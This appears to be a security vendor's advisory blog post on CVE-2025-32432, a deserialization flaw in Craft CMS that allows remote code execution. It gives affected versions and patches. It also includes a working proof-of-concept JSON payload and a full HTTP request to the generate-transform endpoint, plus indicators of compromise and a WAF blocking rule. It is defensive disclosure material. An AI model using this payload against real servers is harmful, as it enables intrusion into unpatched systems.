# CVE-2025-32432: Deserialization in Craft CMS Allows RCE

## **Introduction**

Identified on April 7, 2025, and officially published on April 25, 2025, in the [NVD](https://nvd.nist.gov/vuln/detail/CVE-2025-32432), CVE-2025-32432 presents a critical threat to organizations using Craft CMS, a widely adopted content management system. This flaw allows unauthenticated remote code execution (RCE), enabling attackers to run arbitrary commands on the server, compromising data security and system integrity. It is estimated that around 13,000 Craft CMS instances are vulnerable, with at least 300 already compromised. Patches were made available on April 10, 2025, but active exploitation has been detected since April 17, making an immediate response essential.

## **Affected Versions**

The vulnerability affects the following versions of Craft CMS:

| **Version** | **Affected Range** |
| --- | --- |
| Craft CMS 3.x | 3.0.0-RC1 to 3.9.14 |
| Craft CMS 4.x | 4.0.0-RC1 to 4.14.14 |
| Craft CMS 5.x | 5.0.0-RC1 to 5.6.16 |

## **Technical Details**

CVE-2025-32432 is an insecure deserialization vulnerability that results in remote code execution (RCE). It is related to a flaw in the Yii framework (CVE-2024-58136), fixed in version 2.0.52, but which required specific fixes in Craft CMS. The exploitation occurs at the `actions/assets/generate-transform` endpoint, where a malicious POST request can deserialize a manipulated PHP object, allowing the execution of arbitrary code.

## **Exploitation Process**

To exploit the flaw, a malicious actor can follow these steps:

1.  **Obtaining a Valid CSRF Token**: Before exploring the vulnerable endpoint, the attacker needs to obtain the required CSRF token for the next request. For this, a basic request to the `/index.php?p=admin/dashboard` endpoint can be performed to capture the CSRF token.
    
2.  **Sending the Malicious Payload**: With a valid CSRF token, the attacker sends a POST request to the same endpoint with a payload that exploits deserialization. A simplified example of this payload would be:
    

```json
{
  "assetId": 11,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "GuzzleHttp\\Psr7\\FnStream",
      "__construct()": [[]],
      "_fn_close": "phpinfo"
    }
  }
}
```

This payload causes the server to execute the `phpinfo()` function, demonstrating the ability to execute code. In real scenarios, attackers can use more complex payloads to install backdoors or extract data.

The full POST request would look something like this:

```http
POST /index.php?p=admin/actions/assets/generate-transform HTTP/1.1
Host: <hostname>
Accept-Encoding: gzip, deflate, br
X-CSRF-Token: <token>
Content-Type: application/json

{
  "assetId": 11,
  "handle": {
    "width": 123,
    "height": 123,
    "as session": {
      "class": "craft\\behaviors\\FieldLayoutBehavior",
      "__class": "GuzzleHttp\\Psr7\\FnStream",
      "__construct()": [[]],
      "_fn_close": "phpinfo"
    }
  }
}
```

3.  **Advanced Exploitation**: After the initial execution, attackers can upload malicious PHP files, such as `filemanager.php`, to maintain persistent access. This was observed in campaigns that used specific IPs, such as 172.86.113.137 and 104.161.32.11, to distribute malware.
    

### **Public Tools and Exploits**

Tools that automate exploitation exist and are available in repositories such as:

*   [Chocapikk/CVE-2025-32432](https://github.com/Chocapikk/CVE-2025-32432): A vulnerability checker for Craft CMS.
    
*   [Sachinart/CVE-2025-32432](https://github.com/Sachinart/CVE-2025-32432): A Python script that automates detection and exploitation, including system information extraction.
    

Additionally, a Metasploit module was published, lowering the barrier for less experienced attackers. SensePost also made a [Nuclei template](https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/) available for detection in versions 4.x and 5.x.

### **Evidence of Exploitation**

Real world exploitation was confirmed on April 17, 2025, with campaigns installing files such as `filemanager.php` (MD5: d8fddbd85e6af76c91bfa17118dbecc6) and others, like `autoload_classmap.php` and `wp-22.php`. SensePost identified approximately 35,000 domains hosting Craft CMS, of which 13,000 were vulnerable, mostly in the United States.

## **Mitigations**

### **Official Patch**

The definitive solution is to update Craft CMS to the patched versions, released on April 10, 2025:

*   Craft CMS 3.9.15 ([Changelog](https://github.com/craftcms/cms/blob/3.x/CHANGELOG.md#3915---2025-04-10-critical))
    
*   Craft CMS 4.14.15 ([Changelog](https://github.com/craftcms/cms/blob/4.x/CHANGELOG.md#41415---2025-04-10-critical))
    
*   Craft CMS 5.6.17 ([Changelog](https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5617---2025-04-10-critical))
    

### **Temporary Measures**

If an immediate update is not possible, the following actions can reduce the risk:

*   **Firewall Blocking**: Configure the firewall to block POST requests to the `actions/assets/generate-transform` endpoint containing the `__class` string in the body. This can be implemented in tools such as WAFs (Web Application Firewalls).
    
*   **Security Library**: Install the [Craft CMS Security Patches](https://github.com/craftcms/security-patches) as a temporary solution.
    
*   **Log Monitoring**: Check server logs for suspicious requests to the mentioned endpoint, especially those with `__class`.
    

## **Conclusion**

The CVE-2025-32432 vulnerability is a critical threat that exposes Craft CMS systems to severe attacks, including data theft and malware installation. Its active exploitation and the availability of public tools, such as Python scripts and Metasploit modules, increase the urgency for action. Organizations should prioritize updating to the corrected versions and implement temporary mitigation measures if necessary. A rapid response to this flaw is essential to protect digital infrastructure.

If you want to test your systems' security in a practical and effective way, we invite you to host a hacking tournament at [Bypassec](https://bypassec.com/), a platform with more than 100 ethical hackers ready to identify vulnerabilities in your environment.

## **References**

*   [NVD - CVE-2025-32432](https://nvd.nist.gov/vuln/detail/CVE-2025-32432)
    
*   [Craft CMS - CVE-2025-32432](https://craftcms.com/knowledge-base/craft-cms-cve-2025-32432)
    
*   [GitHub Advisory - GHSA-f3gw-9ww9-jmc3](https://github.com/advisories/GHSA-f3gw-9ww9-jmc3)
    
*   [Exploit PoC - Sachinart/CVE-2025-32432](https://github.com/Sachinart/CVE-2025-32432)
    
*   [SensePost Blog - Investigating an in-the-wild campaign using RCE in CraftCMS](https://sensepost.com/blog/2025/investigating-an-in-the-wild-campaign-using-rce-in-craftcms/)
    
*   [Exploit PoC - Chocapikk/CVE-2025-32432](https://github.com/Chocapikk/CVE-2025-32432)
    
*   [Craft CMS Security Patches](https://github.com/craftcms/security-patches)
    
*   [Craft CMS Changelog 3.9.15](https://github.com/craftcms/cms/blob/3.x/CHANGELOG.md#3915---2025-04-10-critical)
    
*   [Craft CMS Changelog 4.14.15](https://github.com/craftcms/cms/blob/4.x/CHANGELOG.md#41415---2025-04-10-critical)
    
*   [Craft CMS Changelog 5.6.17](https://github.com/craftcms/cms/blob/5.x/CHANGELOG.md#5617---2025-04-10-critical)